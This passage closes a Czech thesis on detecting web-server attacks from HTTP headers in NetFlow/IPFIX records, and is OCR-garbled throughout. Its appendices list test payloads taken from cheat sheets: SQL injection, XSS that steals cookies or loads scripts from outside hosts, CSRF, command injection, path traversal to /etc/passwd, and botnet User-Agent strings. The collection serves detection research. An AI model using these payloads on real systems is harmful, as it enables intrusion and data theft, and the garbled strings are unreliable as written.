s vyhodnocenim testovacich scénaili, kde se zhodnocuje uspeésnost detekce skriptu a jeho
srovnani s jiZ existujicim feSenim. A také nemoznost detekce utoku pomoci nékterych HTTP
hlavicek z divodu omezeni NetFlow sondy.

Zavérenym zhodnocenim této experimentalni prace je fakt, ze utoky na webové
servery pomoci analyzy informaci z HTTP hlavicek jsou mozné, a to piesnéji z informace
obsazené v hlavicce HTTP URL. Dalsi hlavicky jsou pouzity jen pro dal§i informaci
pti logovani vzniklé udalosti, kterou je napt. HTTP Hostname. V ptipad¢ detekce botnetu je
velmi obtizné z ukladanych HTTP hlavicek v IPFIX zaznamu detekovat ,,bot agenta“ z diivodu
zminénych v kapitole 8.3. Z celkového pohledu Ize utoky detekovat jen v urcitych piipadech,
tomu piispiva 1 ¢im dal vyssi zastoupeni Sifrované komunikace HTTPS.
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Priloha A

Retézce pro utok na server a botnet

Vypsany jsou pouze hodnoty parametru dotazu, tzn. ¢ast pozadované URL (parametr=hodnota).

Utok na databazi

Retézce obsahujici ,,name* a ,,password* obsahuji celou ¢ast parametrii dotazu (parametr a hodnota), a
to z divodu piedvedeni jako ukazkové priklady.

name=admin'--&password=passwd

name=admin'%23&password=passwd
name=admin'%2F*&password=passwd

name=admin&password="or 1=1--

name=admin&password="or 1=1%23

name=admin&password="or 1=1%2F*

name=admin&password='%29 or '1'="1'--

name=admin&password='%29 or %28'1'="1'%29--
name="%2B%28SELECT TOP 1 password FROM Users%29%2B'&password=passwd
name=SELECT%2F*avoid-spaces*%2F*%2F**%2FFROM%2F**%2FUsers&password=pass
SEL%2F**%2FECT *%2F**%2FFROM%2F**%2FUsers
SE%2F*something*%2FLECT *%2F**%2FFROM%2F**%2FUsers
SELECT * FROM Users%3B DROP Users%23

10%3B DROP Users%23

SELECT name %2B '-' %2B password FROM Users

SELECT name %7C%7C '-' %7C%7C password FROM Users

SELECT CONCAT%28name%2C password%29 FROM Users

SELECT CASE WHEN %281=1%29 THEN 'A' ELSE 'B' END%3B

IF %281=1%29 SELECT 'true' ELSE SELECT 'false’

SELECT IF%281=1%2C'true'%2C'false'%29

SELECT header%2C txt FROM news UNION ALL SELECT name%2C pass FROM members
"UNION SELECT 1%2C "anotheruser'%2C ‘doesnt matter'%2C 1--
SELECT 1 FROM dual WHERE 1 ="1"""""UNION SELECT "2'%3B
'%3B insert into Users values%28 "%2C 'user_login'%2C 'pass’ %29%2F*
SELECT sleep%2810%29%3B

and 1

and 1=1

and 2<3

and 'a'="a’

and 'a'<>'pb’

and char%2832%29=""

and 3<=2
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orl

or 5is not null

OR 'SQLi' = 'SQL'%2B"

OR 'SQLI'>"S'

or20>1

OR 'SQLi' = N'SQLi'

land1=1

OR 'unusual’ = 'unusual’

OR 'something' like 'some%'

OR ‘whatever' IN %28'whatever'%29

OR 2 BETWEEN 1 AND 3

Tabulka A.2: Retézce pro iitok na databdzi

name=admin'%2d-&password=passwd

name=admin'-%252d&password=passwd

name=admin'%23&password=passwd

name=admin'%252e*&password=passwd

name=admin'%2E*&password=passwd

name=admin&password=""%4fr 1%3D1--

name=admin&password="'0%52 1%3D1%23

name=admin&password=""%254Fr 1%3D1%2F*

name=admin&password='%29 0%2552 '1'%3D'1'--

name=admin&password='%29 %4f%52 %28'1'%3D'1'%29--

name="%2B%28S%45LeCT TOP 1 password FROM Users%29%?2B'&password=passwd

SE%256cECT%2F*avoid-spaces*%2F*%2F**%2FFROM%2F**%2FUsers

%2553eL.%45¢c%54 * FROM Users%3B DROP Users--

10%3B D%52%254FP Users--

SELECT name %257¢%7c '-' %7c%7c password FROM Users

" UN%490N SELEC%?2554 1%2C 'anotheruser'%2C 'doesnt matter'%2C 1--

'%3B 1%2549ser%54 into Users values%28 "%2C 'user_login'%2C 'pass' %29%2F*

SELECT s1%45%45p%2810%29%3B

a%4ed 1

an%44 1%3D1

%2541nd 2<3

a%254ed 'a'%3D'a’

1 an%2564 1 %3D 1

Tabulka A.1: Retézce pro rozsiveny iitok na databdzi

SQL Injection fetézce byly pievzaty a poupraveny z téchto zdroju:
https://www.owasp.org/index.php/Testing_for_SQL _Injection_%280TG-INPVAL-005%29
https://www.netsparker.com/blog/web-security/sgl-injection-cheat-sheet/
http://www.websec.ca/kb/sql_injection
https://www.owasp.org/index.php/OWASP_Testing_Project

42



Utok na uZivatele

<IMG SRC='"vbscript:msgbox(""XSS")">

<IMG SRC=javascript:alert("XSS")>

<IMG SRC="javascript:alert("RSnake says, 'XSS")™>

<img src=asdf onerror=alert(document.cookie)>

<img src="x:? title=" onerror=alert(1)//">

<img src="x:gif" onerror="window['al\u0065rt(0)"></img>

<script>alert(document.cookie);</script>

<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

<script src=http://www.example.com/malicious-code.js></script>

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

<SCRIPT SRC=//ha.ckers.org/.j>

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=">"" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<IFRAME SRC="javascript:alert(’XSS);"></IFRAME>

<iframe src=http://ha.ckers.org/scriptlet.ntml <

<IFRAME SRC="http://hacker.website/cross-site-scripting.htm|">

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

<STYLE>.XSS{background-image:url("javascript:alert("XSS")");}</STYLE><A
CLASS=XSS></A>

<STYLE type="text/css">BODY {background:url("javascript:alert('’XSS")")}</STYLE>

<STYLE>Ii {list-style-image: url("javascript:alert("XSS")");}</STYLE><UL><LI>XSS</br>

<DIV STYLE="width: expression(malicious code)">

<DIV STYLE="width: expression(alert("’XSS"));">

<BGSOUND SRC="javascript:alert("XSS');"

<BODY ONLOAD-=alert('XSS')>

<BODY BACKGROUND="javascript:alert("XSS")">

<LINK REL="stylesheet" HREF="javascript:alert("XSS");">

<INPUT TYPE="IMAGE" SRC="javascript:alert("XSS");">

<META HTTP-EQUIV="refresh” CONTENT="0; URL=http://;URL=javascript:alert('XSS");">

<TABLE BACKGROUND="javascript:alert("XSS")">

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

<iframe src="http://host/?command">

<script src="http://host/?command">

<img src="http://host/?command">

<img src="http://hacker.com/transfer?acc=JOHN&amount=50000" width="0" height="0">

Tabulka A.3: Retézce pro utok na uzivatele
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%253cscript%253ealert(1)%253c/script%253e

.box.com/xss.js%3E%3C/script%3E%22) %3E

%22/%3E%3CBODY %200nload="document.write(%22%3Cs%22%2b%22cript%20src=http://my

<IMG SRC=JaVaScRiPt:alert("XSS')>

<ScRiPt>alert(1)</sCriPt>

<<SCRIPT>alert("XSS");//<<ISCRIPT>

<scr<script>ipt>alert(1)</scr</script>ipt>

<%49%4D%47 SRC="vbscript:msgbox("XSS")’>

%3cIMG SRC=javascript%3aalert('XSS")>

%3C%49%4D%47 SRC="javascript:alert("RSnake says, 'XSS")>

<img src=asdf onerror%a3dalert(document.cookie)>

<img src="x:? title=" 0Ne%72%52or=alert(1)//">

<s%63r%69PT>alert(document.cookie);</script>

%253C%2553cr%69pt type="text/vhscript">alert(DOCUMENT.COOKIE)</script>

<SCRIPT%2FSRC="http://ha.ckers.org/xss.js"></SCRIPT>

<1%46%52AME SRC="javascript:alert("XSS');"></IFRAME>

%3cifr%61m%45 src=http://ha.ckers.org/scriptlet.ntml <

<St%591E>.XSS{background-image:url("javascript:alert('"XSS")"); }</STYLE><A
CLASS=XSS></A>

%253cS%2554yL e type="text/css">BODY {background:url("javascript:alert("XSS")")}</STYLE>

<DIV STYLE="width: expre%53%73ion%28malicious code)">

<BGSOUND SRC="ja%56aSc%72ipt%3aalert%28XSS'%29;"

<BODY 0On%254c%254FaD%253Dalert("XSS")>

%3C%4fBjEC%74%20TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

Tabulka A.4: Retézce pro rozsiveny titok na uzivatele

XSS a CSRF fetézce byly pievzaty a poupraveny z téchto zdroji:

http://breakthesecurity.cysecurity.org/2012/02/complete-cross-site-scriptingxss-cheat-sheets-part-

1.html
https://gist.github.com/sseffa/11031135
https://www.owasp.org/index.php/OWASP_Testing_Project
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Utok na server

address=127.0.0.1 | ver

address=127.0.0.1 ; $(whoami) > UVILSES5S.txt

address=127.0.0.1 && ipconfig -a

address=fail || ipconfig -a

address="head -1 addresses.txt’

address=$(tail -1 addresses.txt)

file=Story.txt; Is

file=file.txt;ping www.test.com

file=file.txt;echo "test" > test.txt

file=file.txt;mail tester@test.com < file.txx

file=http://localhost:8080

filename=bob.txt;id

file=secret.doc%00.pdf

dir=;echo malicious_code > executable_file

dir=;echo append_malicious_code >> executable_file

dir=;cd /var/lyp && make &> /dev/null

name=h4x0r&message=<?php%20system(%22/bin/1s%20-1%22);?%>

file=http://www.hackersite.com/main

file=/etc/passwd

file=../.htpasswd

file=../../..]..Jetc/passwd

file=../../..1..1..]..]../etc/passwd %00

file=file:///etc/passwd

file=../../..]..Jetc/passwd &=%3C%3C%3C%3C

Tabulka A.5: Retézce pro iitok na server

address=127.0.0.1 %7c ver

address=127.0.0.1 %3b $(whoami) > UVILSES5S.txt

address=127.0.0.1 %2526%2526 ipconfig -a

address=fail %257¢%257c ipconfig -a

address=%60head -1 addresses.txt%60

address=$2524%$2528tail -1 addresses.txt%2529

file=Story.txt%3B Is

file=file.txt%253Becho "test" %253e test.txt

file=secret%2edoc%00%2epdf

dir=%3Bcat%20/etc/passwd

dir=%3becho append_malicious_code %3E%3E executable_file

dir=;cd /var/lyp %26%26 make %26%3e /dev/null

name=h4x0r&message=%3C?php%20system(%22/bin/1s%20-1%22);?%3E

file=%2Fetc%2Fpasswd

file=%2e%2e/.htpasswd
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file=%252e%252E%252f../%252e%252E%252f../etc/passwd

..%02f..%2fetc%2fpasswd%00

..%5¢..%5cetc%5cpasswd%00

%02F..%2F..%2F%2F..%2F..%2Fetc/passwd

Tabulka A.6: Retézce pro rozsiveny titok na server

Code a Command injection a Path traversal fetézce byly pfevzaty a poupraveny z téchto zdrojt:

http://www.golemtechnologies.com/articles/shell-injection
https://pentestlab.wordpress.com/2012/06/29/directory-traversal-cheat-sheet/
https://www.owasp.org/index.php/OWASP_Testing_Project
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Botnet User-Agent retézce

Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0 Windows NT 5.1; SV1;. NET CLR 2.0.50727)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW&64; Trident/7.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3;
.NET4.0C; .NET4.0E)

Mozilla/4.0 (compatible; MSIE 8.0; Win32)

Mozilla/4.0 (compatible; )

Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.11 (KHTML, like Gecko)
Chrome/23.0.1271.97 Safari/537.11

Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/39.0.2171.71 Safari/537.36

Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X)

Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6
Mozilla/5.0 (compatible;BKANAHEAFPEM;)

Mozilla/5.0 (compatible;Windows NT 5.2)

Mozilla/5.0 (compatible; Zollard; Linux)

Mozilla/5.0 (compatible; MSIE 6.0.1; WININET 5.0)

Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)

Mozilla/5.0

Mozilla/6.0 (Windows; w3.0)

Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)

Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)

OSSProxy 1.3.337.344 (Build 337.344 Win32 en-us)(Oct 31 2014 12:56:00)

Opera/10.60 Presto/2.2.30

NSIS_Inetc (Mozilla)

KUKU v5.06exp =9355466431

Mazilla/5.0

Java/1.7.0_10

cpuminer 2.2.3

suckergo/2.3.2

Alina v5.6

tiny-dl/nix

MSIE 8.0
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Update

Google page

you

lynx

victim UA

contype

Www

something

Access

vb wininet

Tabulka A.7: User-Agent retézce pouzivané ,, bot agenty

,,Bot agent” User-Agent fetézce byly pievzaty z tohoto zdroje:
https://docs.google.com/spreadsheets/d/1GhohQf3L-
rvsYZ0uplU5rt0y5sFEt3J5zKnQjrjr60w/pub?single=true&gid=0&output=html

Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201

Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.3) Gecko/20100401 Lightningquail/3.6.3

Mozilla/5.0 (X11; ; Linux i686; rv:1.9.2.20) Gecko/20110805

Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10 10 1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2227.1 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10 1) AppleWebK:it/537.36 (KHTML, like Gecko)
Chrome/37.0.2062.124 Safari/537.36

Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/29.0.1547.57 Safari/537.36

Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko)
Chrome/19.0.1084.56 Safari/1EA69

Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16

Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14

Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14

Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01

Opera/9.99 (X11; U; sk)

Mozilla/5.0 (Macintosh; Intel Mac OS X 10 9 3) AppleWebK:it/537.75.14 (KHTML, like Gecko)
Version/7.0.3 Safari/7046 A194A

Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)
Version/6.0 Mobile/10A5355d Safari/8536.25

Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko)
Version/5.0.2 Safari/533.18.5

Mozilla/5.0 (Windows NT 6.1; WOW®64; Trident/7.0; AS; rv:11.0) like Gecko

48



Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR

3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gha UNTRUSTED/1.0

Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)

Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET

CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)

Tabulka A.8: User-Agent retézce pouzivané klientskymi prohlizeci

User-Agent fetézce realnych prohlizeca byly pievzaty z tohoto zdroje:
http://www.useragentstring.com/pages/useragentstring.php
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Priloha B
Obsah CD

Obsahuje zdrojové kody, testovaci data ve formatu pcap a vysledky testd ve formatu
logovacich soubort.

docs/ - elektronické podoby této prace
logs/ - logovaci soubory pro vSechny ttoky
pcap/ - testovaci data ve formatu pcap
snort/ - soubory ve formatu pcap, vygenerované Snortem pii testovani
src/ - zdrojové soubory pro detekci
web/ - php soubory pro testovani na webu
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